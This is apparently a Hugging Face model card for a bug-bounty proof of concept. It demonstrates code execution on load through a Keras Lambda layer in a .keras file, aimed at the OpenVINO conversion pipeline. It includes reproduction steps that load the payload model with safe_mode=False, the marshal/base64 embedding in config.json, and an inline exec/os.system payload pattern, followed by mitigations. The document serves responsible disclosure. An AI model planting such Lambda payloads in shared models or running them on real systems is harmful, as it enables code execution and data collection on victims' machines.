--- license: mit tags: - security-research - vulnerability-poc - bug-bounty - openvino - keras - lambda-layer - arbitrary-code-execution - model-format-vulnerability pretty_name: OpenVINO Keras Lambda RCE PoC --- # ⚠️ SECURITY RESEARCH — MODEL FORMAT VULNERABILITY PoC **This repository demonstrates Arbitrary Code Execution (ACE) via Keras Lambda layer deserialization in `.keras` model files.** **DO NOT load this model outside a sandboxed environment.** ## Vulnerability Summary | Attribute | Value | |-----------|-------| | **CWE** | CWE-502: Deserialization of Untrusted Data | | **Category** | Model Format Vulnerability — Deserialization | | **Trigger** | `keras.models.load_model(file, safe_mode=False)` | | **Execution** | **LOAD-TIME** (immediate, during model building) | | **Format** | `.keras` (Keras v3 ZIP-based native format) | | **Serialization** | marshal + base64 (NOT pickle) | | **CVSS 3.1** | `AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` — 7.8 HIGH | ## Verdict: NOT A FALSE POSITIVE - ✅ Payload IS embedded in `config.json` as marshal bytecode - ✅ Payload EXECUTES during `load_model(safe_mode=False)` - ✅ Execution is LOAD-TIME, not just inference-time - ✅ Model loads successfully and appears normal - ✅ Exfiltrates: hostname, IP, username, UID, id, working directory ## Reproduction ### Method 1: Git Clone (requires git-lfs) ```bash # Install git-lfs first: sudo apt install git-lfs && git lfs install git lfs clone https://huggingface.co/Sanaullah1337/openvino-keras-lambda-rce-poc cd openvino-keras-lambda-rce-poc python3 poc_create_model.py ``` ### Method 2: Python Download (no git-lfs needed) ```python from huggingface_hub import hf_hub_download import keras, numpy as np, os, json # Download model (bypasses LFS) path = hf_hub_download('Sanaullah1337/openvino-keras-lambda-rce-poc', 'poc_final.keras') # Load → RCE triggers HERE during model building keras.config.enable_unsafe_deserialization() model = keras.models.load_model(path, safe_mode=False) # Verify RCE with open('/tmp/poc_host_info.txt') as f: print(json.load(f)) ``` ### Method 3: Run the PoC script directly ```bash pip install huggingface_hub keras tensorflow-cpu numpy python3 poc_create_model.py ``` ## Technical Details ### How the Payload is Embedded The Lambda layer's Python function is serialized using Python's `marshal` module and stored as base64 in the model's `config.json`: ```json { "class_name": "Lambda", "config": { "function": { "class_name": "__lambda__", "config": { "code": "4wEAAAAAAAAAAAAAAAMAAAADAAAA...", "defaults": null, "closure": null } } } } ``` ### Key Technical Requirement The payload MUST be an inline string literal — closure variables are NOT serialized: ```python # ✅ CORRECT — inline string survives serialization lambda x: exec("import os; os.system('id')") or x # ❌ WRONG — closure variable stripped, payload lost PAYLOAD = "import os; os.system('id')" lambda x: exec(PAYLOAD) or x ``` ### OpenVINO Relevance OpenVINO users must load Keras models before conversion: ``` HuggingFace → keras.models.load_model() → RCE → ov.convert_model() ↑ Payload executes HERE Before OpenVINO even touches the model ``` ## Affected Components - Keras 3.x (`.keras` format) - Keras 2.x (`.h5` / HDF5 format) - OpenVINO Model Conversion Pipeline - optimum-intel library - Any workflow that loads Keras models with `safe_mode=False` ## Mitigation 1. Never load untrusted models with `safe_mode=False` 2. Inspect `config.json` for Lambda layers before loading 3. Keras 3's `safe_mode=True` (default) blocks this — keep it enabled 4. Use sandboxed environments for model evaluation --- **This repository is for responsible disclosure via the Huntr Bug Bounty Program.** **Target: OpenVINO — Intel | Format: .keras**